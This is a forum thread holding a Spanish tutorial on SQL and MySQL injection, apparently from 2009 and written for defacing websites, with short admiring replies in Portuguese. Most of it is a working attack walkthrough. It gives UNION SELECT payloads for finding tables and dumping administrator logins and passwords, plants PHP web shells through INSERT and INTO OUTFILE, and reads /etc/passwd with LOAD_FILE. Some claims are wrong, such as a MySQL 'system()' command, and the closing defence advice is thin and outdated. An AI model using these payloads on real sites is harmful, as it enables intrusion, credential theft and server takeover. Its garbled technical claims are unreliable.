Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQL/MySQL Injection By ShadinessDark & Zero Bits (In Spanish)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL/MySQL Injection By ShadinessDark & Zero Bits (In Spanish)

    [font=Tahoma]
    [Pentesting][Taller] SQL/MySQL Injection By ShadinessDark & Zero Bits

    _________________________________________________

    0x01. Introducción

    Primero que nada antes de empezar este taller quiero darle un saludo a todo los lectores y especialmente a nuestra comunidad BugDox.

    Este tutorial sirve para webmaster, para conocer mas sobre este metodo, el ataque y defensa de este, para mejorar su conocimientos como su websites.

    Este tutorial explica el metodo de ataque mas usado hoy en dia para defacear websites , también sirve para novatos ya que es un tutorial muy diferente de los que andan en el under, ya que hay muchos iguales, y nosotros le queremos traer algo diferente, con mas conceptos para que sepan que hace tal función y porque esa.

    Ya que la mayoría de los tutoriales del internet, solo explican el método de ataque y las sentencias a usar, sin explicar porque esta sentencia y el efecto que hace en la web victima.

    Los empezados en el defacing toman la SQL Injection como un refugio para comenzar ya que es muy básico de aprender pero no aprenden el verdadero secreto de la inyección sql en este taller le e haremos un completo resumen de cada etapa de este método de ataque...

    Autores: Zero Bits - ShadinessDark

    0x02. Antes de seguir

    Antes de seguir leamos esto:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    - No solo apegarse a esto, lean y averiguen un poco mas...

    0x03. Base de Datos & SQL Injection

    Como sabran estas Inyecciones de Codigos, son sentencias usadas por las base de datos en un lenguaje, para realizar diferentes funciones, y con esto podemos llegar a sacar, borrar e incrustar cualquier dato o funcion.

    Como sabras las Inyecciones SQL, se basan en diferentes base de datos, que este corriendo el servidor web, y la modificacion de ella.

    ¿Como es eso?

    Como hay funciones en base de datos MySQL, puede que alguna de esas funciones no caigan en una web que use SQL, me entiendes? TODO MOTOR USA ALGUNA O VARIAS SENTENCIAS DIFERENTES A LA OTRA, por lo tanto la estructura no siempre es la misma, tambien depende como el administrador del sitio haya configurado su base de datos, ya que puede desactivar y activar diferentes funciones.

    Las base de datos mas usado por todos es la MySQL, ya que su manejo es basico, gratuito y bueno.

    0x04.Diferencia entre SQL inyección y BLIND SQL

    Muchas personas confunden BLIND SQL con sql inyección lo digo Porque he visto en muchas comunidades que dicen que Sql inyección
    Es lo mismo que BLIND SQL les explicare un poco de cada cosa.

    ¿Que es exactamente BLIND SQL?
    `

    Este es un método de ataque que le permite a un usuario mal Intencionado el acceso no autorizado a un servidor es decir a la Base De Datos del sitio. Es fácil por un grave error de codificación muy común: Acepta datos de un cliente y consultas SQL es decir: Sin la validación de entrada del usuario El atacante tiene los permisos de:

    Añadir
    Modificar
    Eliminar
    Extraer

    De la base de datos incluso puede penetrar mas allá de la base de datos....

    La mayoría de las Web utilizan con frecuencia las consultas SQL.
    Con el usuario de entrada suministrados en la cláusula where para
    Recuperar los datos de una base de datos...

    Por hay me encontré con una persona cuyo nombre no diré me dijo
    Que BLIND SQL era una inyección VISIBLE les explico.

    BLIND SQL es una inyección CIEGA es decir si ponemos en la URL.

    =5y2=1

    Esto da una consulta en la base de datos mas no se muestra
    Como la inyección sql son dos cosas muy diferentes ya que BLIND SQL se aprovecha del ingreso de usuarios...


    ¿Que es inyeccion sql?

    Bueno digamos que es un truco para inyectar comandos SQL en un sitio Web OH hacer una consulta como un insumo, Principalmente el atacante la hace en la Forma de método GET – POST la mayoría de los sitios de parámetros hace una Consulta SQL en la base de datos digamos que tenemos una pagina de detalles Con un producto en PHP que toma un parámetro product_id de un método GET Y obtiene el detalle de la base de datos una consulta SQL con el ataque de Injection SQL, Un atacante puede enviar una consulta SQL diseñada desde la dirección URL, De La pagina de detalles del producto se recuerdan el product_id bueno la consulta la hace Desde hay con eso podría hacer mucho daño a la base de datos, Podría incluso eliminar la tabla de base de datos…

    0x05. Inyecciones a Base de datos

    SQL Injection es un campo extenso y tiene diferentes inyecciones para diferentes base de datos, cuales son, entre las mas usadas y vistas son:

    SQL Injection: 9/10

    MySQL Injection: 9/10

    Oracle Injection: 7/10

    MSSQL Injection: 8/10

    PostgresSQL Injection: 6/10

    -> En este tuto explicaremos solo dos: SQL y MySQL ya que son las mas vistas, depende de si te encuentras o te da curiosidad, estudia las demas tambien =D

    0x06. Como Saber si me servidor o el servidor es vulnerable

    En SQL Injection, conocemos que un servidor es vulnerable, con caracteres de comentarios (`, ``, --, /*, /**, entre otros..).

    Dependiendo como dijimos aya arriba, de la base de datos, y del servidor, reaccionara diferente a cualquiera de esos comentarios.

    ¿Que pasa al poner algun comentario?

    Al poner cualquier caracter de ese, al lado de una url o sustituyendo una variable por estas, te tiraria algun error SQL o MySQL, ya puede decir donde esta el error (en que linea del codigo) y la funcion o tambien solo un error cualquiera.

    Conocemos la BD que usa, dependiendo del error.

    ¿Porque se produce un error al poner un comentario?

    Dependiendo del caracter, puede que la BD no la reconosca, ya que es un caracter de comentario (como: //,# y /* en diferentes lenguajes), e ignora todo lo que viene. Los caracteres como (`) no los reconoce.

    Otro tipo de ver si alguna web es vulnerable, es al estilo de Blind SQL Injection:

    and 1=0
    and 1=1

    Este metodo igual a BLINDi (Blind SQL Injection), que sirve para ver si una web es vulnerable, solo funciona con base de datos MySQL.


    0x06.1 Carácter ‘`’

    SI este carácter/personaje en particular aparece en un registro de algún sitio Web
    Entonces hay una posibilidad que estamos sufriendo un ataque SQL INYECCION
    En el software muchas de las veces los programas se pueden escribir mal y puede permitir a un atacante insertar comandos SQL en el guión si es posible ejecutar
    Comandos en el sistema entonces puede ser posible que el atacante pueda tener
    Acceso administrativo al sistema a veces los administradores de SQL ejecutan como root en UNIX y ejecuta el MS-SQL que ya se ejecuta con forma de privilegios administrativos…

    Ejemplo:

    Www.xD.com/index.php?id=`

    Esto reproducirá un error con la línea de comandos
    Con esto sabremos si el sitio es vulnerable o no agregando el personaje ‘`’



    0x07. Estructura de una sentencia

    Como sabran SQL Injection, es un ataque a codigos, o sea al poner una sentencia en el navegador, ella te responde en el mismo servidor donde estemos trabajando.

    En SQL Injection son sentencias sql largas y necesitan un orden, ¿como es eso?, un navegador web, al poner caracteres como: (`), la funcion que hace que funcione, pero el ` se te vuelve raro como un "%27" y puede ser incomodo al construir ataques, aunque hay (los que yo conosco) tres caracteres que pueden poner un orden (OJO: No solo sirven para eso, sirven para mas cosas, pero todas funcionan igual):

    +, /**/ y NADA (Espacio en blanco):

    UNION+SELECT
    UNION/**/SELECT
    UNION SELECT

    0x08. Numero de Columnas

    Ya al saber que una web es vulnerable a SQL Injection y tener una estructura de ataque (+, /**/ o ESPACIOS), pasaremos a sacar las columnas que tiene el servidor.

    Una de las cosas mas importantes, ya que si no las sabemos, no podemos hacer nada.

    Podemos sacar columnas, contandolas de esta forma:

    UNION SELECT 0,1,2,3,4,etc... Y al final agregandole un comentario (/*, --, --`. +--+, entre otros. SIEMPRE AGREGAR COMENTARIOS AL FINAL DE UNA SENTENCIA)

    Tendriamos que ir en numero en numero, hasta que el error desaparesca en pantalla aparescan unos numeros diferentes y aveces iguales.

    Pasare a explicar, que hace cada funcion:

    UNION: El propósito de UNION es combinar algunos resultados de consultas juntas en
    El sentido UNION es algo muy similar a lo que vemos en SQL ‘UNETE’, Ambos
    Se utilizan para la información relacionada con las tablas no les explicare sobre únete
    Porque estamos explicando UNION la restricción de unión es que todas las columnas
    Correspondiente deben ser del mismo tipo de datos y cuando se utiliza sindicato solo se seleccionan los valores distintos ejemplo SELECT…

    Tambien podriamos agregar "UNION ALL SELECT", pero el ALL es opcional, al igual lo explico:

    UNION y UNION ALL: El propósito de UNION es combinar algunos resultados de consultas juntas en
    El sentido UNION es algo muy similar a lo que vemos en SQL ‘UNETE’, Ambos
    Se utilizan para la información relacionada con las tablas no les explicare sobre únete
    Porque estamos explicando UNION la restricción de unión es que todas las columnas
    Correspondiente deben ser del mismo tipo de datos y cuando se utiliza sindicato solo se seleccionan los valores distintos ejemplo SELECT…

    El objetivo que plantea UNION es también combinar los resultados de 2 consultas juntas la diferencia que hay entre UNION ALL Y UNION es:

    Mientras UNION selección valores distintos UNION ALL selecciona todo los valores.

    SELECT: Digamos que select es una declaración en SQL esto se utiliza para crear un registro
    Extraer columnas especificadas o tablas de la base de datos para crear un registro.

    Ejemplo SELECT:

    Se utiliza para recuperar los registros especificados de una base de datos.

    Ya que conocemos esto y puede que no hayan entendido bien lo del UNION SELECT para sacar columnas les explicare con calma:

    Ya que sabemos que hace cada funcion, pasare a realizar un ejemplo como si tuvieramos en una web:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Lo que hariamos (con nuestra estructura y el comentario ya en mente) a sacar columnas:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Si no tiene 1 columna, te tira error.

    Aunque le agregariamos un valor negativo (-) al numero, para ver si es cierto, para mejorar nuestras sentencias, es RECOMENDADO)

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Entonces, si no tiene una columna, te tira error.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    ERROR.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    NUMEROS, como explique arriba, si al llegar a un numero de columnas, te tira en pantalla unos numeritos (cualquiera) es que tiene tantas columnas, aqui son 3!..

    MySQL tiene una forma especial de ver columnas, es con la funcion llamada: "order by"

    ¿Qué es ORDER BY?

    Esta forma lo que hace es tomar el nombre de alguna columna que especifique
    Y ordene en orden alfabético o también en un orden numérico si están utilizando
    Números…

    Ejemplo numérico:

    Order by 1=1—

    Cuando se utiliza MySQL_fetch_array para imprimir algún resultado los valores ya están ordenados y fáciles de leer

    Si por ejemplo es MySQL, y las columnas son 3, procedemos a sacarlas:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... order by 0--`

    Si no tiene 1 columna, no tirara nada.

    Pero ya que sabemos que son 3 ponemos:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... order by 2--`

    Si tiene 3 columnas, te tirara un ERROR.

    Ya sabemos que tiene 3 columnas (0,1 y 2) y me tiro los numeros:

    1 y 2..


    0x09. Funciones MySQL & SQL

    Hay unas funciones MySQL y SQL basicas, el cual agregariamos en los numeritos que nos solto (1 y 2):

    @@version & version(): Version de la BD..

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    o

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Nos tiraria la version de la base de datos.


    database(): Nombre de la Base de Datos..


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    user(): Usuario de la Base de Datos..


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    group_concat - Concatenar Grupos..


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    concat - Concantenar datos..


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Como sabran al concatenar datos se nos hace todo mas facil, pero todo se ve unido, por eso despues de "valor" tendriamos que poner un codigo hexadecimal que separe y ponga en orden todo esto:

    concat(valor,HEX,valor,HEX,valor)



    concat_ws - Concatanar datos (Lo mismo que concat)..

    Hay bastantes como sabras (si estudiastes SQL y PHP), depende de la base de datos tambien, pero esas son las principales..


    0x10. information_schema

    El punto de vista INFORMATION_SCHEMA nos permite obtener información sobre todas las tablas vistas en un una BD por defecto se les mostrara la información para que vean como funciona este punto de vista se puede llamar desde cualquier base de datos en una instancia de SQL Server si estudian sql Server verán como funcionad y devolverá los resultados los datos dentro de esa base de datos en particular…

    Si pueden revisar las columnas que siempre nos devolverán el carácter son:

    TABLE_CATALOG
    TABLE_SCHEMA
    TABLE_NAME
    TABLE_TYPE


    0x10.1 information_schema.tables

    Bueno, vamos a explicar el TABLE_NAME, la funcion eschema es: information_schema.tables. Permite sacar las TABLAS que tiene una DB:


    Ya que sabemos el numero de columnas que tiene y los numeros que solto (1 y 2) procedemos a sacar las tablas de la web:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Si "information_schema" existiria nos tiraria la primera tabla por defecto del servidor:

    CHARACTER_SETS

    Como sabran no es la unica y la que nos interesa (en este caso, sera sacar el usuario del servidor), entonces tendriamos que ir viajando por el servidor:

    Le agregariamos el comando "limit":

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Como es la primera, nos daria igual "CHARACTER_SETS", ahora para ir viajando y viajando, le agregariamos mas numeros:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Y asi y asi, hasta llegar a una tabla, que nos interese (por ejemplo: usuarios)..

    Como debistes haber leido (en los tutos como SQL, MYSQL, PHP) y arriba, hay un comando llamado "group_concat", que lo que hace es concatenar grupos, aqui lo usuriamos, para evitarnos el fastidio de hacer varias inyecciones:


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    y nos tiraria en pantalla, horizontalmente todas las columnas, pero aveces no caben todas y te dejan algunas no mas, yo lo que hago es ir del primer numero poniendo group_concat y despues ponerlo al segundo y despues al tercero (si es que hay), hasta que nos tire todas las tablas o consiga una que me interesa.

    Pero aqui tambien podriamos usar el comando "limit".

    Limit viene en español LIMITE se utiliza mas que todo para limitar los resultados de las consultas de MySQL a lo que entran adentro de un rango especificado se puede utilizar para mostrar el numero (X) primero da los resultados o para mostrar una serie de X – Y los resultados se trata de expresar como limite (X-Y) y figura al final de una consulta.


    En este caso la tabla que mas sospechosa que me salio fue: tbl_users ya que estoy buscando no mas sacar la cuenta del administrador del sitio.

    0x10.1 information_schema.columns

    Como podemos ver nos da la informacion de todas las columnas de la base de datos en la tabla en particular
    Si escribimos una consulta basica en nuestra base de datos es decir:

    SELECT * FROM bugdox_nombre de la tabla donde INFORMATION_SCHEMA.COLUMNS `aqui el nombre de la tablade la BD`

    Esto solo es un ejemplo de como funciona en una inyeccion seria algo asi:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...[aqui la tabla en asciisql]--

    En este caso "tbl_users", entonces lo pasaria a ASCII desde aqui:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    En este caso tbl_users es: 116 98 108 95 117 115 101 114 115

    y sacaria:

    ttp://localhost/vuln.php?variable=-777/**/and/**/1=0/**/union/**/SELECT/**/0,,column_name,2/**/FROM/**/information_schema.COLUMNS/**/WHERE/**/table_name=(116 98 108 95 117 115 101 114 115)--

    Nos tiraria la primera columna de tbl_users, podriamos viajar por la web con "limit" o tirar todo con: group_concat.

    Como sabran "tbl_users" es la tabla en este caso, donde estarian las columnas importantes del servidor, donde esta la info de los users, ejemplo de columnas:

    Usuario, contraseña, email, id, privilegios, etc...

    En este caso fueron: login y password.

    Ya sabemos que en "login" y "password", estan los nombre de usuarios de la pagina y las contraseñas, quedaria verlos.

    0x10.3. information_schema.user_privileges

    Este es un método alternativo para las nuevas versiones de MySQL ejemplo:

    select * from information_schema.user_privileges where grantee like "`usuario`%";

    La ventaja de este formato seria el aumento de la flexibilidad para comprobar al `Usuario`
    Desde cualquier Host supongamos que los nombres de usuario consisten en
    Chequear los privilegios específicos de las condiciones adicionales les doy un ejemplo:

    PRIVILEGE_TYPE=`eliminar dato`

    cada que usamos la information_schema nos sale information_schema.user_privileges que seria la tabla de la detabase

    0x11. Sacando cuentas

    Ya que sabemos, que en "login" se guardan los nombre de las cuentas de los usuarios y en "password" sus contraseñas, pasamos a verlas pudiendo hacer esto:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Y aparecera en pantalla el usuario y password juntos, el problema es que al unirlos con concat se vera todo pegado, por eso despues de alguna coma (como explique arriba) tenemos que poner codigos hexadecimales para separarlos como: : (que significa 0x03a)..

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Y aparecera:

    nombredeladmin:contraseñadeladmin

    Hay una forma de averiguar, los logins, es como lo hago yo xD, antes que nada, buscar el panel (ya que en la tabla donde hay info de los usuarios como: login, password, nombre, emails, etc.. Pueden aver mas y puede ser confuso) al estar en el panel donde debes logearte y ver el source (codigo fuente):

    <input type="text" name="login>
    y
    <input type="password" name="password">

    Podemos notar, que es donde uno pone los datos para logearse, agarrar lo que viene despues del "name" y ponerlo y asi nos tirara los datos que van en ese panel..

    Es muy facil..

    No eh visto a nadie haciendolo, talves no soy el unico que lo haga, pero aqui se los dejo..

    Bueno ya tenemos los datos del administrador, pero si queremos ver mas cuentas, pasamos a usar el "limit"..

    Ahora pasaremos a hacer otras cosas..

    0x12. Jugando con las tablas

    * Creando Tablas
    * Agregando archivos en las tablas
    * Copiando
    * Eliminando Tablas

    0x12.1 Creando Tablas

    Imaginemos que los datos que sacastes, eran un engaño del administrador, y los datos estan en una tabla no sospechosa y no imaginamos cual.

    Despues de usar las sentencias de "privilegies", y ejemplo, tenemos permisos como para crear una tabla, solo hariamos:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... TABLE/**/nombre_tabla/**/(TEXTO_dentro),2--

    Ejemplo ya me cree la tabla BUGDOX:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... TABLE bugdox(texto),2--

    CREATE TABLE = Es la funciona que creamos para crear una tabla..


    0x12.2 Agregando archivo a la Tabla

    Ya que tenemos la tabla "bugdox", pasamos por ejemplo mertele una shell, para ver si tenemos control del servidor:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... INTO bugdox(TEXTO) VALUES (`CODIGO_A_AGREGAR`),2--

    Imaginemos:


    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... INTO bugdox(TEXTO) VALUES (`<? pasthru($_GET[cmd]); ?>`),2--

    Y tachan!, tenemos una shell..

    OJO: TODO ESTO FUNCIONA SI TENEMOS PERMISOS.

    INSER INTO = El que agrega a la tabla
    VALUES = El archivo a agregar

    0x12.3 Copiando

    Podemos copiar y pegar una tabla en un directorio:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... bugdox (texto) TO `/etc/passwd`,2--

    Muy facil..

    COPY= Copia lo de la tabla
    TO = El que dice donde lo van a pegar

    0x12.4 Eliminado Tabla

    Como todo, tambien podemos eliminar tablas:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... TABLE bugdox,2--

    DROP TABLE = Elimina una tabla

    0x013. Creacion y eliminacion de usuarios

    Creando usuario en mysql:

    Veamos ahora como crear un usuario yo lo llamare bugdox.

    Como root escribimos

    CREATE USER `bugdox` @ `localhost IDENTIFIED BY` `password`;

    Donde esta bugdox es el nombre de usuario ¿Verdad? donde esta password es la contraseña
    Tenemos que tener en cuaenta la creacion de usuario incluye la direccion del host
    y se divide entre dos partes entre @ no seria encerrarse entre comillas simples...

    Si tenemos exito recibiriamos un mensaje de confirmacion similar a este:

    Query OK, 0 rows affected (1,17 sec)

    Creando usuario ejemplo:

    union/**/select/**/0,concat_ws(0x3A,current_user,0x3A,user()),2--

    Error:

    bugdox@localhost:bugdox@localhost

    Si se dan cuenta el usuario creado de la base de datos es bugdox entonces al ejecutar la inyeccion nos da los datos asignados
    Que ven en el error.

    Ahora pasaremos a eliminar los users:

    DROP USER bugdox--

    Creando usuarios normal:

    Tambien podriamos crearnos usuarios al igual que este pero un poco diferente:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... USER bugdox IDENTIFIED BY password,2/**/FROM/**/tabla--

    0x014. Subiendo shells por SQL Injection

    Hemos visto bastantes cosas en SQL Injection, y una de las cosas también como montar shells en una tabla, aquí mostrare otra forma de montar shells :


    http://localhost/vuln.php?variable=-777/**/UNION/**/SELECT/**/0,<? system($_REQUEST[`cmd`]);?>/**/,2/**/INTO/**/OUTFILE/**/
    "/var/www/html/mishell.php"–-

    Ya que has estudiado sabras como funciona esa inyeccion.


    0x015. Usar SQL Injection como shell de comandos


    Para los que saben Linux, sabran que como funcionan estos comandos.

    SQL/MySQL tiene el código “system” que permite usarse como una Shell de comandos:

    http://localhost/vuln.php?variable=-777/**/UNION/**/SELECT/**/0,system(`ls`),2--

    Solo explicare que hace ese codigo, ya que los demas y si quieres experimentar mas, estudia mas sobre LINUX:

    ls, lo que permite es listar los archivos de una carpeta.


    0x016. Propias de MySQL

    MySQL tiene unas sentencias propias muy buenas, las cuales son:

    LOAD_FILE y MYSQL.USER.

    LOAD_FILE, permite cargar archivos en pantalla, como un LFI, asi que si has estudiado LFI todo se te hace mas facil.

    y

    Mysql.user es una tabla, donde se encuentran los datos de PhpMyAdmin de un site, lo sabemos si escaneamos los puertos y esta abierto el puerto MySQL (3306)

    No explicare mas solo mostrare un ejemplo de uso (queda de ustedes experimentar mas aya)

    LOAD_FILE:

    http://localhost/vuln.php?variable=-777/**/UNION/**/SELECT/**/0,LOAD_FILE(`/etc/passwd`),2--

    Y te lo mostrara en pantalla como un LFI

    Mysql.user:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    0x017. Como protegerse de SQL Injection

    Este codigo no es nuestro pero es confiable a la hora de evitar SQL injection...

    function limpiar_sql($value){
    $value = trim(htmlentities($value)); // Evita introducción código HTML
    if (get_magic_quotes_gpc())
    $value = stripslashes($value);
    $value = mysql_real_escape_string($value);
    return $value;
    }

    Entramos por el Cpanel o FTP y editamos el archivo index.php y lo agregamos dentro de <?

    0x018. Despedida & Greetz

    Zero Bits dice:

    Bueno como sabran quisimos hacer un tutorial diferentes a los que hay por la red, no se si nos salio diferente, ustedes son los jueces, ustedes criticaran nuestro trabajo, si trabajamos mucho para hacer un tutorial diferente a los demas, con mas conceptos, entendible, anti-kiddies para que avancen en su aprendizaje y se les sea comodo.

    ShadinessDark dice:

    Bueno por gran suerte hemos terminado este tutorial que nos tomo 2 días de trabajo no es mayor cosa pero fue con esfuerzo y trabajo con zero bits muchas personas
    Se preguntaran porque tanta teoría bueno muchas de las personas de hoy en DIA aquellos que
    Creen que es solo inyectar un código y ya aja sacamos usuario y password Pero un DIA les Preguntan ¿Que es sql? y no saben que decir `Esto es necesario aprenderlo` Para tener un Mayor conocimiento de como trabaja y como se fundamenta cada tabla y columna en una base De datos con esto los despido a todos.


    0x018.1 Greetz

    Zero Bits:

    Buenos mis greetz especiales son:

    ShadinessDark ~ KuTeR ~ Jeferx ~ _84kur10_ ~ D4NB4R ~ Xianur0 ~ k4mus23 ~ Bashettzx ~ Tr4$h ~ s4kg3t ~ ZH4RK ~ JxE-13 ~ Refused ~ V4ndid4 ~ LeXeL ~ Baronhack ~ DestruKci0oN ~ z1z30f ~ Crazyhacker16 ~ ChEk0_Hack ~ QahTaN-SniPer ~ Zer0 Z0orG ~ MaNditOo ~ Zer0-R00t ~ tkdead y todos mis grandes.. =D


    ShadinessDark:

    Zero Bits ~ Kuter ~ Jeferx ~ Zonithahack ~ Tr4$h ~ Anubiss ~ _84kur10_ ~ GeorgeHack ~ k4mus23 ~ krisium ~ z1z30f ~ 3mp3z@ndo ~ darkbouser ~ ManditOo ~ BaronHack

    BugDox - IlegalIntrusion - EvilZone - HackTech - RazaInformatica
    Last edited by bolinhaxp; 08-12-2009, 12:59.

  • Font Size
    #2
    UP..Melhore + no seu Portugues Xd ..rsrs

    Comment


    • Font Size
      #3
      Postado Originalmente por Breno Ver Post
      UP..Melhore + no seu Portugues Xd ..rsrs
      Amigo não sei se vc percebeu mas isto NÃO É português. o Zero Bits é da venezuela e lá se fala espanhol. (um pouco diferente do meu mas dá pra se comunicar tranquilo...kkkkk)
      --------------------------------------------------------------------------------------------------------------------------------------

      El mejor tutorial que he leído sobre SQLi
      No se desanime por la falta de agradecimiento, porque estás muy bueno
      []s
      <<< ENGINEERING CODERZ - HACKING PROGRAMMING GROUP >>>
      msn/mail: azurus21@gmail.com

      Comment


      • Font Size
        #4
        Parabens Zero...
        mto legal esse tuto...
        continue assim cara....
        vlwww por compartilhar...

        Comment

        X
        Working...
        X